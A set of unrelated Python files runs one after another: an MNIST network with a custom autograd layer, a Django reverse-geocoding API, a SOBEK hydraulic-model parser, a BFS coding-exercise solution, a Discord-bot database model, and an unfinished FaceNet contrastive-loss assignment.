import torch
from torch.autograd import Function
import torch.nn as nn
import torchvision
import torchvision.transforms as transforms
import time
import numpy as np

#Force Determinism
torch.manual_seed(0)
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
np.random.seed(0)

# Device configuration
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

# Hyper-parameters
input_size = 784
hidden_size = 500
num_classes = 10
num_epochs = 1
batch_size = 50000
learning_rate = 0.00005

# MNIST dataset
train_dataset = torchvision.datasets.MNIST(root='../../data',
                                           train=True,
                                           transform=transforms.ToTensor(),
                                           download=True)

test_dataset = torchvision.datasets.MNIST(root='../../data',
                                          train=False,
                                          transform=transforms.ToTensor())

# Data loader
train_loader = torch.utils.data.DataLoader(dataset=train_dataset,
                                           batch_size=batch_size,
                                           shuffle=False)

test_loader = torch.utils.data.DataLoader(dataset=test_dataset,
                                          batch_size=batch_size,
                                          shuffle=False)

rand_mask = torch.zeros(784)
rand_mask2 = torch.zeros(500)

class Linear(nn.Module):
    def __init__(self, input_features, output_features, bias=True):
        super(Linear, self).__init__()
        self.input_features = input_features
        self.output_features = output_features

        # nn.Parameter is a special kind of Tensor, that will get
        # automatically registered as Module's parameter once it's assigned
        # as an attribute. Parameters and buffers need to be registered, or
        # they won't appear in .parameters() (doesn't apply to buffers), and
        # won't be converted when e.g. .cuda() is called. You can use
        # .register_buffer() to register buffers.
        # nn.Parameters require gradients by default.
        self.weight = nn.Parameter(torch.Tensor(output_features, input_features))
        if bias:
            self.bias = nn.Parameter(torch.Tensor(output_features))
        else:
            # You should always register all possible parameters, but the
            # optional ones can be None if you want.
            self.register_parameter('bias', None)

        # Not a very smart way to initialize weights
        self.weight.data.uniform_(-0.1, 0.1)
        if bias is not None:
            self.bias.data.uniform_(-0.1, 0.1)

    def forward(self, input):
        # See the autograd section for explanation of what happens here.
        return MyFunction.apply(input, self.weight, self.bias)

    def extra_repr(self):
        # (Optional)Set the extra information about this module. You can test
        # it by printing an object of this class.
        return 'in_features={}, out_features={}, bias={}'.format(
            self.in_features, self.out_features, self.bias is not None
        )

# Inherit from Function
class MyFunction(Function):

    # Note that both forward and backward are @staticmethods
    @staticmethod
    # bias is an optional argument
    def forward(ctx, input, weight, bias=None):
        rand_mask = torch.zeros(input.shape)
        #weight_rand_mask = torch.ones(weight.shape)

        ctx.save_for_backward(input, weight, bias)
        input = input + rand_mask
        #weight = weight + weight_rand_mask

        output = input.mm(weight.t())

        rand_mask = rand_mask.mm(weight.t())
        output = output - rand_mask #- weight_rand_mask

        if bias is not None:
            #bias_rand_mask = torch.ones(output.shape)
            #bias = bias + bias_rand_mask
            output += bias.unsqueeze(0).expand_as(output)
            #output = output - bias_rand_mask
        #print("Forward Output: ")
        #print(output)
        #time.sleep(5)
        return output

    # This function has only a single output, so it gets only one gradient
    @staticmethod
    def backward(ctx, grad_output):
        # This is a pattern that is very convenient - at the top of backward
        # unpack saved_tensors and initialize all gradients w.r.t. inputs to
        # None. Thanks to the fact that additional trailing Nones are
        # ignored, the return statement is simple even when the function has
        # optional inputs.
        input, weight, bias = ctx.saved_tensors
        grad_input = grad_weight = grad_bias = None

        # These needs_input_grad checks are optional and there only to
        # improve efficiency. If you want to make your code simpler, you can
        # skip them. Returning gradients for inputs that don't require it is
        # not an error.
        if ctx.needs_input_grad[0]:
            grad_input = grad_output.mm(weight)
        if ctx.needs_input_grad[1]:
            grad_weight = grad_output.t().mm(input)
        if bias is not None and ctx.needs_input_grad[2]:
            grad_bias = grad_output.sum(0)

        #print("Grad_input: ")
        #print(grad_input)
        #time.sleep(5)

        return grad_input, grad_weight, grad_bias

# Fully connected neural network with one hidden layer
class NeuralNet(nn.Module):
    def __init__(self, input_size, hidden_size, num_classes):
        super(NeuralNet, self).__init__()
        self.fc1 = Linear(input_size, hidden_size)
        self.tanh = nn.Tanh()
        self.fc2 = Linear(hidden_size, hidden_size)
        self.tanh = nn.Tanh()
        self.fc3 = Linear(hidden_size, hidden_size)
        self.tanh = nn.Tanh()
        self.fc4 = Linear(hidden_size, hidden_size)
        self.tanh = nn.Tanh()
        self.fc5 = Linear(hidden_size, num_classes)

    def forward(self, x):

        out = self.fc1(x)
        out = self.tanh(out)
        out = self.fc2(out)
        out = self.tanh(out)
        out = self.fc3(out)
        out = self.tanh(out)
        out = self.fc4(out)
        out = self.tanh(out)
        out = self.fc5(out)

        return out

model = NeuralNet(input_size, hidden_size, num_classes).to(device)

# Loss and optimizer
criterion = nn.CrossEntropyLoss()
optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate, dampening=0, weight_decay=0, nesterov=False)

# Train the model
total_step = len(train_loader)
for epoch in range(num_epochs):
    for i, (images, labels) in enumerate(train_loader):
        # Move tensors to the configured device
        images = images.reshape(-1, 28*28).to(device)
        labels = labels.to(device)

        #rand_mask = torch.ones(784)
        #rand_mask2 = torch.ones(500)

        #for k in images:
        #    k = torch.add(k, rand_mask)
        outputs = model(images)
        loss = criterion(outputs, labels)

        # Backward and optimize
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        if (i+1) % 100 == 0:
            print ('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'
                   .format(epoch+1, num_epochs, i+1, total_step, loss.item()))

# Test the model
# In test phase, we don't need to compute gradients (for memory efficiency)
with torch.no_grad():
    correct = 0
    total = 0
    for images, labels in test_loader:
        images = images.reshape(-1, 28*28).to(device)
        labels = labels.to(device)
        outputs = model(images)
        _, predicted = torch.max(outputs.data, 1)
        total += labels.size(0)
        correct += (predicted == labels).sum().item()

    print('Accuracy of the network on the 10000 test images: {} %'.format(100 * correct / total))

# Save the model checkpoint
torch.save(model.state_dict(), 'model.ckpt')


# -*- coding: utf-8 -*-

from django.shortcuts import render
import psycopg2
import psycopg2.extras
import json
from django.http import HttpResponse
from django.http import HttpResponseServerError
from django.http import HttpResponseBadRequest
from .dicttoxml import DictToXML

def index(request):
    # Try to connect
    try:
        conn = psycopg2.connect(
            database="gis"
        )

        cursor = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)

        cursor.execute("SELECT date FROM bev_date;")
        sql_result = cursor.fetchall()

        date = sql_result[0]['date'].strftime('%d.%m.%Y')
    except Exception as e:
        result = {
            "status": "server_error",
            "message": "The web application was unable to connect to the database. Please inform the site " +
                       "administrator about this issue."
        }
        return HttpResponseServerError(json.dumps(result), content_type="application/json")

    return render(request, context={'date': date}, template_name='index.html')

def is_float(value):
    try:
        float(value)
        return True
    except ValueError:
        return False

def reverse_geocode(request, format):
    default_distance = 30
    max_distance = 100
    default_limit = 5
    max_limit = 10

    # Get the HTTP GET parameters and use default values where it makes sense.
    lat = request.GET.get("lat")
    lon = request.GET.get("lon")
    epsg = request.GET.get("epsg", "4326")
    distance = request.GET.get("distance", default_distance)
    limit = request.GET.get('limit', default_limit)

    # Try to connect
    try:
        conn = psycopg2.connect(
            database="gis"
        )
    except Exception as e:
        result = {
            "status": "server_error",
            "message": "The web application was unable to connect to the database. Please inform the site " +
                       "administrator about this issue."
        }
        return HttpResponseServerError(json.dumps(result), content_type="application/json")

    cursor = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)

    # Do basic data validation.
    if not format in ["json", "xml"]:
        result = {
            "status": "bad_request",
            "message": "The format must either by JSON or XML."
        }
        return HttpResponseBadRequest(get_response_content(result, format), content_type=get_content_type(format))

    if not epsg.isdigit():
        result = {
            "status": "bad_request",
            "message": "The EPSG parameter must be an integer vaule."
        }
        return HttpResponseBadRequest(get_response_content(result, format), content_type=get_content_type(format))

    epsg = int(epsg)
    epsg_statement = "SELECT srid from spatial_ref_sys WHERE srid=%s"
    cursor.execute(epsg_statement, (epsg,))
    epsg_result = cursor.fetchall()

    if len(epsg_result) < 1:
        result = {
            "status": "bad_request",
            "message": "EPSG %s is not supported or does not exist. Try 4326!" % epsg
        }
        return HttpResponseBadRequest(get_response_content(result, format), content_type=get_content_type(format))

    if not distance.isdigit() or (int(distance) > max_distance) or (int(distance) < 0):
        result = {
            "status": "bad_request",
            "message": "The distance value must be an integer between 0 and %s." % max_distance
        }
        return HttpResponseBadRequest(get_response_content(result, format), content_type=get_content_type(format))

    if not limit.isdigit() or (int(limit) > max_limit) or (int(limit) < 1):
        result = {
            "status": "bad_request",
            "message": "The limit parameter must be an integer between 1 and %s." % max_limit
        }
        return HttpResponseBadRequest(get_response_content(result, format), content_type=get_content_type(format))

    # Get the data release date and format it.
    try:
        cursor.execute("SELECT date FROM bev_date;")
        sql_result = cursor.fetchall()

        date = sql_result[0]['date']
    except Exception as e:
        result = {
            "status": "server_error",
            "message": "Could not get the release date of the BEV data."
        }
        return HttpResponseServerError(get_response_content(result, format), content_type=get_content_type(format))

    statement = """
        select b.municipality, b.locality, b.postcode, b.street, b.house_number, b.house_name, b.address_type,
          ST_Distance(ST_SetSRID(ST_MakePoint(%s, %s),%s), b.point) as distance,
          ST_X(ST_Transform(point::geometry, %s)) as lon, ST_Y(ST_Transform(point::geometry, %s)) as lat,
          municipality_has_ambiguous_addresses
        from bev_addresses b
        where ST_DWithin(ST_SetSRID(ST_MakePoint(%s, %s),%s), b.point, %s)
        order by distance
        limit %s
    """

    try:
        cursor.execute(statement, (lon, lat, epsg, epsg, epsg, lon, lat, epsg, distance, limit,))
        sql_result = cursor.fetchall()

        # Convert the result from psycopg2.extras.RealDictRow back to a usual dict.
        dict_result = []
        for row in sql_result:
            dict_result.append(dict(row))
    except Exception as e:
        result = {
            "status": "server_error",
            "message": "There was a problem querying the database. Please verify that the parameters you submitted " +
                       "(especially the coordinates according to the EPSG you specified) make sense."
        }
        return HttpResponseServerError(get_response_content(result, format), content_type=get_content_type(format))

    result = {"status": "ok",
              "copyright": u"© Österreichisches Adressregister 2017, N 23806/2017 (Stichtagsdaten vom %s)" % (
              date.strftime('%d.%m.%Y')), "address_date": date.strftime('%Y-%m-%d'), "results": dict_result}

    return HttpResponse(get_response_content(result, format), content_type=get_content_type(format))

def get_response_content(dictionary, format):
    if format == 'json':
        return json.dumps(dictionary)
    elif format == 'xml':
        xml = DictToXML({"reverse_geocode_results": dictionary}, list_mappings={"results": "address"})
        return xml.get_string()

    return ""

def get_content_type(format):
    if format == 'json':
        return "application/json"
    elif format == 'xml':
        return "application/xml"

    return "text/plain"


# -*- coding: utf-8 -*-
"""
Created on Thu Jul 11 14:15:46 2019

@author: danie
"""

import geopandas as gpd
import pandas as pd
from shapely.geometry import LineString, Point
import os
import re
import numpy as np
import hkvsobekpy as his
import csv

#%%
def __between(value, a, b):
    # Find and validate before-part.
    pos_a = value.find(a)
    if pos_a == -1:
        return ""
    # Find and validate after part.
    pos_b = value.rfind(b)
    if pos_b == -1:
        return ""
    # Return middle part.
    adjusted_pos_a = pos_a + len(a)
    if adjusted_pos_a >= pos_b:
        return ""
    return value[adjusted_pos_a:pos_b]

def __split_line(lineString, point, buffer=False):
    if not buffer:
        pointIntersect = point
    else:
        pointIntersect = point.buffer(buffer)
    coords = lineString.coords
    j = None
    for i in range(len(coords) - 1):
        if LineString(coords[i : i + 2]).intersects(pointIntersect):
            j = i
            break
    assert j is not None
    # Make sure to always include the point in the first group
    return (
        coords[: j + 1] + [Point(point).coords[0]],
        [Point(point).coords[0]] + coords[j + 1 :],
    )

__friction_models = {
    "0": "chezy",
    "1": "manning",
    "2": "strickler (kn)",
    "3": "strickler (ks)",
    "4": "white-colebrook",
    "7": "bos and bijkerk",
}

__flow_boundary_types = {"0": "waterlevel", "1": "discharge"}

__structure_types = {"6": "weir", "7": "orifice", "9": "pump"}

__structure_flow_dirs = {"0": "both", "1": "positive", "2": "negative", "3": "no_flow"}

__pump_control = {"1": "suction", "2": "delivery", "3": "both_sides"}

__control_types = {"0": "time", "1": "hydraulic", "2": "interval", "3": "PID"}

__control_param = {
    "0": "crest_level",
    "1": "crest_width",
    "2": "gate_height",
    "3": "pump_capacity",
}

__profile_types = {}

__match_num = "[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?"

# %% read network
def network(path, crs):
    """Read al network-files."""
    links = gpd.GeoDataFrame(
        columns=["ID", "FROM_NODE", "TO_NODE", "geometry"], geometry="geometry"
    )
    nodes = gpd.GeoDataFrame(columns=["ID", "geometry"], geometry="geometry")

    with open(os.path.join(path, "network.tp"), "r") as networkTP:
        for line in networkTP.readlines():
            if line[0:4] == "NODE":
                ident = __between(line, "id '", "' nm")
                x = float(__between(line, "px ", " py"))
                y = float(__between(line, "py ", " node"))
                nodes = nodes.append(
                    {"ID": ident, "geometry": Point(x, y)}, ignore_index=True
                )
            elif line[0:4] == "BRCH":
                ident = __between(line, "id '", "' nm")
                from_node = __between(line, "bn '", "' en")
                to_node = __between(line, "en '", "' al")
                links = links.append(
                    {"ID": ident, "FROM_NODE": from_node, "TO_NODE": to_node},
                    ignore_index=True,
                )

    # open network.cp to define channel geometry
    with open(os.path.join(path, "network.cp"), "r") as networkCP:
        for reach in networkCP.read().split("BRCH")[1:]:
            ident = __between(reach, "id '", "' cp")
            cps = __between(reach, "TBLE\n", " <\ntble").split(" <\n")
            from_node = list(links.loc[links["ID"] == ident, "FROM_NODE"])[0]
            to_node = list(links.loc[links["ID"] == ident, "TO_NODE"])[0]
            coord_list = list(
                list(nodes.loc[nodes["ID"] == from_node].geometry)[0].coords
            )
            sumDistance = 0.0
            for idx, cp in enumerate(cps):
                distance, angle = cp.split()
                distance = (float(distance) - sumDistance) * 2
                angle = np.deg2rad(90 - float(angle))
                x = coord_list[-1][0] + float(distance) * np.cos(angle)
                y = coord_list[-1][1] + float(distance) * np.sin(angle)
                coord_list += [(x, y)]
                sumDistance += distance
            coord_list[-1] = list(
                list(nodes.loc[nodes["ID"] == to_node].geometry)[0].coords
            )[0]
            index = links.loc[links["ID"] == ident].index[0]
            links.at[index, "geometry"] = LineString(coord_list)

    network = {}
    objects = gpd.GeoDataFrame(
        columns=["ID", "TYPE", "LINK", "LINK_POS", "geometry"],
        geometry="geometry",
        crs=crs,
    )
    objects_list = []
    with open(os.path.join(path, "network.ntw"), "r") as networkNTW:
        doLinks = True
        for idx, l in enumerate(
            csv.reader(
                networkNTW.readlines(),
                quotechar='"',
                delimiter=",",
                quoting=csv.QUOTE_ALL,
            )
        ):
            if idx > 0:
                if doLinks:
                    if l[0] == "*":
                        doLinks = False
                if doLinks:
                    network.update(
                        {
                            l[0]: {
                                "properties": {
                                    "type": l[4],
                                    "customType": l[5],
                                    "startNode": l[14],
                                    "endNode": l[27],
                                },
                                "lineString": [
                                    [float(l[21]), float(l[22])],
                                    [float(l[34]), float(l[35])],
                                ],
                            }
                        }
                    )
                    if not l[14] in objects_list:
                        objects_list.append(l[14])
                        objects = objects.append(
                            {
                                "ID": l[14],
                                "NAME": l[15],
                                "TYPE": l[19],
                                "geometry": Point([float(l[21]), float(l[22])]),
                            },
                            ignore_index=True,
                        )
                    if not l[27] in objects_list:
                        objects_list.append(l[27])
                        objects = objects.append(
                            {
                                "ID": l[27],
                                "NAME": l[28],
                                "TYPE": l[32],
                                "geometry": Point([float(l[34]), float(l[35])]),
                            },
                            ignore_index=True,
                        )

    h_points = gpd.GeoDataFrame(
        columns=["ID", "geometry"], geometry="geometry", crs=crs
    )
    v_links = gpd.GeoDataFrame(
        columns=["ID", "TYPE", "CUSTOM_TYPE", "FROM_NODE", "TO_NODE", "geometry"],
        geometry="geometry",
        crs=crs,
    )

    with open(os.path.join(path, "network.gr"), "r") as networkGR:
        hLocations = his.read_his.ReadMetadata(
            os.path.join(path, "calcpnt.his"), hia_file="auto"
        ).GetLocations()
        for reach in networkGR.read().split("GRID")[1:]:
            ident = __between(reach, "id '", "' ci")
            line = list(links.loc[links["ID"] == ident, "geometry"])[0]
            gridTable = __between(reach, "TBLE\n", " <\ntble").split(" <\n")
            for idx, grid in enumerate(gridTable):
                grid = grid.split()
                h_point = grid[3].replace("'", "")
                if h_point in hLocations:  # check if point is ignored by Sobek-core
                    point = (float(grid[5]), float(grid[6]))
                    if h_point not in list(h_points["ID"]):
                        h_points = h_points.append(
                            {"ID": h_point, "geometry": Point(point)}, ignore_index=True
                        )
                    if idx == 0:
                        v_point = grid[4].replace("'", "")
                        Type = network[v_point]["properties"]["type"]
                        customType = network[v_point]["properties"]["customType"]
                        pointFrom = h_point
                    else:
                        pointTo = h_point
                        segment, line = __split_line(
                            LineString(line), Point(point), buffer=0.01
                        )
                        v_links = v_links.append(
                            {
                                "ID": v_point,
                                "TYPE": Type,
                                "CUSTOM_TYPE": customType,
                                "FROM_NODE": pointFrom,
                                "TO_NODE": pointTo,
                                "geometry": LineString(segment),
                            },
                            ignore_index=True,
                        )
                        v_point = grid[4].replace("'", "")
                        pointFrom = h_point

    # use ID as index
    for df in [links, nodes, objects, v_links]:
        df.index = df["ID"]

    with open(os.path.join(path, "network.cr"), "r") as networkCR:
        for line in networkCR:
            if re.match("CRSN", line):
                object_id = re.search(".id '(.*)' nm.", line).group(1)
                objects.loc[object_id, "LINK"] = re.search(".ci '(.*)' lc", line).group(
                    1
                )
                objects.loc[object_id, "LINK_POS"] = float(
                    re.search(".lc (.*) crsn", line).group(1)
                )

    with open(os.path.join(path, "network.st"), "r") as networkST:
        for line in networkST:
            if re.match("STRU", line):
                object_id = re.search(".id '(.*)' nm.", line).group(1)
                objects.loc[object_id, "LINK"] = re.search(".ci '(.*)' lc", line).group(
                    1
                )
                objects.loc[object_id, "LINK_POS"] = float(
                    re.search(".lc (.*) stru", line).group(1)
                )

    with open(os.path.join(path, "network.cn"), "r") as networkCN:
        for line in networkCN:
            if re.match("FLBX", line):
                object_id = re.search(".id '(.*)' nm.", line).group(1)
                objects.loc[object_id, "LINK"] = re.search(".ci '(.*)' lc", line).group(
                    1
                )
                objects.loc[object_id, "LINK_POS"] = float(
                    re.search(".lc (.*) flbx", line).group(1)
                )

    return {
        "links": links.set_crs(crs, inplace=True),
        "nodes": nodes.set_crs(crs, inplace=True),
        "objects": objects.set_crs(crs, inplace=True),
        "segments": v_links.set_crs(crs, inplace=True),
    }

def results(path):
    """Read meta-data from his-files."""
    files = {
        "links": "reachseg.his",
        "points": "calcpnt.his",
        "structures": "struc.his",
    }
    result = {"links": None, "points": None, "structures": None}
    for key, item in files.items():
        if os.path.exists(os.path.join(path, item)):
            meta_data = his.read_his.ReadMetadata(
                os.path.join(path, item), hia_file="auto"
            )
            parameters = meta_data.GetParameters()
            locations = meta_data.GetLocations()
            result.update(
                {
                    key: {
                        "df": meta_data.DataFrame(),
                        "parameters": parameters,
                        "locations": locations,
                    }
                }
            )

    return result

def parameters(path):
    """Read parameters from a sobek case."""
    result = dict()
    with path.joinpath("friction.dat").open() as friction_dat:
        result["friction"] = dict()
        for line in friction_dat:
            if re.match(".*BDFR.*", line):
                model = __friction_models[__between(line, 'mf', ' mt').replace(' ', '')]
                value = float(__between(line, 'mt cp 0', '0 mr').replace(' ', ''))
                result['friction']['global'] = {'model': model,
                                                'value': value}

    with path.joinpath('struct.dat').open() as struct_dat:
        structures = dict()
        for line in struct_dat:
            if re.match("STRU", line):
                struc_id = re.search(".id '(.*)' nm.", line).group(1)
                structures[struc_id] = {}
                structures[struc_id]["def_id"] = re.search(
                    ".dd '(.*)' ca.", line
                ).group(1)
                structures[struc_id]["control_id"] = re.search(
                    "cj '(.*)' ", line
                ).group(1)
                structures[struc_id]["control_active"] = bool(
                    int(re.search(f"ca ({__match_num}) ", line).group(1))
                )
        result["structures"] = structures

    with path.joinpath("struct.def").open() as struct_def:
        for stds in struct_def.read().split("stds"):
            if "STDS" in stds:
                def_id = re.search(".id '(.*)' nm.", stds).group(1)
                struc_def = dict()
                struc_def["type"] = __structure_types[
                    re.search(".ty ([0-9]).", stds).group(1)
                ]
                if struc_def["type"] in ["weir", "orifice"]:
                    struc_def["crest_level"] = float(
                        re.search(f".cl ({__match_num}).", stds).group(1)
                    )
                    struc_def["crest_width"] = float(
                        re.search(f".cw ({__match_num}).", stds).group(1)
                    )
                    struc_def["flow_dir"] = __structure_flow_dirs[
                        re.search(f".rt ({__match_num}).", stds).group(1)
                    ]
                    if struc_def["type"] == "weir":
                        cw = float(re.search(f".sc ({__match_num}).", stds).group(1))
                        ce = float(re.search(f".ce ({__match_num}).", stds).group(1))
                        struc_def["coefficient"] = ce * cw

                    if struc_def["type"] == "orifice":
                        cw = float(re.search(f".sc ({__match_num}).", stds).group(1))
                        mu = float(re.search(f".mu ({__match_num}).", stds).group(1))
                        struc_def["coefficient"] = mu * cw
                elif struc_def["type"] == "pump":
                    struc_def["control_side"] = __pump_control[
                        re.search(f".dn ({__match_num}).", stds).group(1)
                    ]
                    stages = (
                        re.search(".*\nTBLE\n(.*)<\ntble.", stds).group(1).split("<")
                    )
                    stages = [stage.split() for stage in stages]
                    struc_def["pump_stages"] = [
                        {
                            "capacity": float(stage[0]),
                            "suction_on": float(stage[1]),
                            "suction_off": float(stage[2]),
                            "delivery_on": float(stage[3]),
                            "delivery_off": float(stage[4]),
                        }
                        for stage in stages
                    ]

                struc_id = next(
                    (
                        st_id
                        for st_id, values in structures.items()
                        if values["def_id"] == def_id
                    ),
                    None,
                )
                if struc_id:
                    result["structures"][struc_id] = {
                        **result["structures"][struc_id],
                        **struc_def,
                    }
                else:
                    print(f"structure definition {def_id} not linked to structure-id")

        with path.joinpath("profile.dat").open() as profile_dat:
            cross_sections = dict()
            for line in profile_dat:
                if re.match("CRSN", line):
                    xs_id = re.search(".id '(.*)' di.", line).group(1)
                    cross_sections[xs_id] = re.search(".di '(.*)' rl.", line).group(1)
            result["cross_sections"] = cross_sections.copy()

        with path.joinpath("profile.def").open() as profile_dat:
            for crds in profile_dat.read().split("crds"):
                if "CRDS" in crds:
                    def_id = re.search(".id '(.*)' nm.", crds).group(1)
                    xs_type = re.search(f".ty ({__match_num}).", crds).group(1)
                    crds = crds.replace("\n", "")
                    coords = re.search(r".*TBLE(.*)<tble.", crds).group(1).split("<")
                    if xs_type == "0":
                        z = np.array([float(coord.split()[0]) for coord in coords])
                        w = np.array([float(coord.split()[1]) for coord in coords])
                        series = pd.Series(
                            data=np.concatenate([np.flip(z), z]),
                            index=np.concatenate([np.flip(-w / 2), w / 2]),
                        )
                    else:
                        print(f"ERROR: structure type {xs_type} not supported!")

                prof_ids = [
                    xs_id
                    for xs_id, xs_def in cross_sections.items()
                    if xs_def == def_id
                ]
                if prof_ids:
                    for prof_id in prof_ids:
                        result["cross_sections"][prof_id] = series.copy()
                else:
                    print(f"profile definition {def_id} not linked to profile-id")

    return result

def control(path):
    """Read controls from a sobek case."""
    result = dict()
    with path.joinpath("control.def").open() as control_def:
        for cntl in control_def.read().split("cntl"):
            if "CNTL" in cntl:
                cntl_def = {}
                def_id = re.search(".id '(.*)' nm.", cntl).group(1)
                cntl_def["type"] = __control_types[
                    re.search(f".ct ({__match_num}).", cntl).group(1)
                ]
                cntl_def["parameter"] = __control_param[
                    re.search(f".ca ({__match_num}).", cntl).group(1)
                ]
                if cntl_def["type"] == "PID":
                    cntl_def["min_value"] = float(
                        re.search(f".ui ({__match_num}) ", cntl).group(1)
                    )
                    cntl_def["max_value"] = float(
                        re.search(f".ua ({__match_num}) ", cntl).group(1)
                    )
                elif cntl_def["type"] == "time":
                    crest_levels = []
                    for cntl_line in cntl.splitlines():
                        if "<" in cntl_line:
                            crest_levels.append(float(cntl_line.split(" ")[1]))
                    if len(crest_levels) > 0:
                        cntl_def["min_value"] = np.min(crest_levels)
                        cntl_def["max_value"] = np.max(crest_levels)
                tble_str = cntl.replace("\n", "")
                if "TBLE" in tble_str:
                    cntl_def["table"] = {}
                    tbl_props = re.findall("PDIN (.*) pdin", tble_str)
                    if len(tbl_props) > 0:
                        tbl_props = tbl_props[0].split()
                        cntl_def["table"]["function"] = tbl_props[0]
                        cntl_def["table"]["use_periodicity"] = bool(int(tbl_props[1]))
                        if cntl_def["table"]["use_periodicity"] == "1":
                            cntl_def["table"]["periodicity"] = tbl_props[2]
                    tble_list = (
                        re.search(r".*TBLE(.*)<tble.", tble_str).group(1).split("<")
                    )
                    date_time = [
                        pd.to_datetime(row.split()[0], format="'%Y/%m/%d;%H:%M:%S'")
                        for row in tble_list
                    ]
                    values = [float(row.split()[1]) for row in tble_list]
                    cntl_def["table"]["data"] = pd.Series(data=values, index=date_time)
                result[def_id] = cntl_def

    return result

def boundaries(path):
    """Read boundaries from a sobek case."""
    result = dict()
    with path.joinpath("boundary.dat").open() as boundary_dat:
        result["flow"] = dict()
        for line in boundary_dat:
            if re.match("FLBO", line):
                ident = __between(line, "id", "st").replace(" ", "").replace("'", "")
                result["flow"][ident] = {
                    "TYPE": __flow_boundary_types[
                        re.search(".ty ([0-9]).", line).group(1)
                    ]
                }
        result["flow"] = pd.DataFrame.from_dict(result["flow"], orient="index")

    return result


# 백준 - 유기농 배추

import sys, collections

T = int(sys.stdin.readline())
tc = 0

def bfs(start, M, N):
    global visited
    dirs = ((-1,0), (1,0), (0,-1), (0,1)) # 상, 하, 좌, 우
    queue = collections.deque()
    queue.append(start)

    while queue:
        i, j = queue.popleft()

        if visited[i][j]:
            continue
        visited[i][j] = True

        for dir in dirs:
            n_i, n_j = i+dir[0], j+dir[1]

            if 0<= n_i < M and 0<=n_j <N:
                if arr[n_i][n_j] and not visited[n_i][n_j]:
                    queue.append([n_i, n_j])

while tc < T:
    M, N, K = map(int ,sys.stdin.readline().split(" "))
    arr = [[False for _ in range(N)] for _ in range(M)]
    visited = [[False for _ in range(N)] for _ in range(M)]
    answer = 0

    for _ in range(K):
        i, j = map(int ,sys.stdin.readline().split(" "))
        arr[i][j] = True

    for i in range(M):
        for j in range(N):
            if arr[i][j] and not visited[i][j]:
                answer += 1
                bfs([i,j], M, N)

    print(answer)

    tc += 1


from __future__ import annotations

from typing import List, Optional

from sqlalchemy import BigInteger, Column, Integer, String

from pie.database import database, session

class Seeking(database.base):
    __tablename__ = "fun_seeking_seeking"

    idx = Column(Integer, primary_key=True, autoincrement=True)
    guild_id = Column(BigInteger)
    channel_id = Column(BigInteger, default=None)
    message_id = Column(BigInteger, unique=True)
    user_id = Column(BigInteger)
    text = Column(String)

    @staticmethod
    def add(
        guild_id: int, channel_id: int, message_id: int, user_id: int, text: str
    ) -> Seeking:
        query = Seeking(
            guild_id=guild_id,
            channel_id=channel_id,
            message_id=message_id,
            user_id=user_id,
            text=text,
        )
        session.add(query)
        session.commit()
        return query

    @staticmethod
    def get(guild_id: int, channel_id: int, item_id: int) -> Optional[Seeking]:
        return (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id, idx=item_id)
            .one_or_none()
        )

    @staticmethod
    def remove(guild_id: int, channel_id: int, item_id: int) -> int:
        query = (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id, idx=item_id)
            .delete()
        )
        session.commit()
        return query

    @staticmethod
    def get_all(guild_id: int, channel_id: int = None) -> List[Seeking]:
        if not channel_id:
            return session.query(Seeking).filter_by(guild_id=guild_id).all()
        return (
            session.query(Seeking)
            .filter_by(guild_id=guild_id, channel_id=channel_id)
            .all()
        )

    def __repr__(self) -> str:
        return (
            f"<Seeking idx='{self.idx}' guild_id='{self.guild_id}' "
            f"channel_id='{self.channel_id}' message_id='{self.message_id}' "
            f"user_id='{self.user_id}' text='{self.text}'>"
        )

    def dump(self) -> dict:
        return {
            "guild_id": self.guild_id,
            "channel_id": self.channel_id,
            "message_id": self.message_id,
            "user_id": self.user_id,
            "text": self.text,
        }


import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

import tensorflow as tf
import tensorflow.keras.backend as K
# from keras.models import load_model
from tensorflow.keras.models import load_model
from os import listdir
from os.path import isdir
from PIL import Image
import numpy as np
from numpy import load
from numpy import expand_dims
from numpy import asarray
from sklearn.metrics import accuracy_score, pairwise_distances
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import Normalizer
from sklearn.svm import SVC
from tqdm import tqdm

def extract_face(filename, required_size=(160, 160)):
    """
    Extract a single face from a given photograph

    Inputs:
    - filename: path of a file to be converted

    Returns:
    - face_array: array of face image pixel with RGB channel
    """
    image = Image.open(filename)
    image = image.convert('RGB')
    pixels = asarray(image)
    face_array = pixels
    return face_array

def load_faces(directory):
    """
    Load images and extract faces for all images in a directory

    Inputs:
    - directory: path of a directory which has same person's face

    Returns:
    - face: list of face array
    """
    faces = list()
    for filename in listdir(directory):
        path = directory + filename
        face = extract_face(path)
        faces.append(face)
    return faces

def load_dataset(directory):
    """
    Load a dataset that contains one subdir for each class that in turn contains images

    Inputs:
    - directory: path of a directory which has all the train data or test data

    Returns:
    - asarray(X): face image array
    - asarray(y): class label array
    """
    X, y = list(), list()
    for subdir in listdir(directory):
        path = directory + subdir + '/'
        if not isdir(path):
            continue
        if subdir.startswith('.'):
            continue
        faces = load_faces(path)
        labels = [subdir for _ in range(len(faces))]
        X.extend(faces)
        y.extend(labels)
    return asarray(X), asarray(y)

def get_embedding(model, face_pixels):
    """
    Get the face embedding for one face

    Inputs:
    - model: facenet model which output 128-dim embedding
    - face_pixels: image array of a face

    Returns:
    - yhat[0]: embedding of a face
    """

    face_pixels = face_pixels.astype('float32')
    mean, std = face_pixels.mean(), face_pixels.std()
    face_pixels = (face_pixels - mean) / std
    samples = expand_dims(face_pixels, axis=0)
    yhat = model.predict(samples)
    return yhat[0]

def contrastive_loss(y, emb1, emb2, margin=1.0):
    """
    Compute the contrastive loss for two embeddings

    Inputs:
    - y: value of 1 if emb1 and emb2 are same person's face, 0 if not
    - emb1: embedding of a face
    - emb2: embedding of a face

    Returns:
    - loss
    """

    #### Question (b): your implementation starts here (don't delete this line)
    print(emb1.shape, emb2.shape)
    y_pred = tf.linalg.norm(emb1 - emb2)
    y = tf.cast(y, y_pred.dtype)
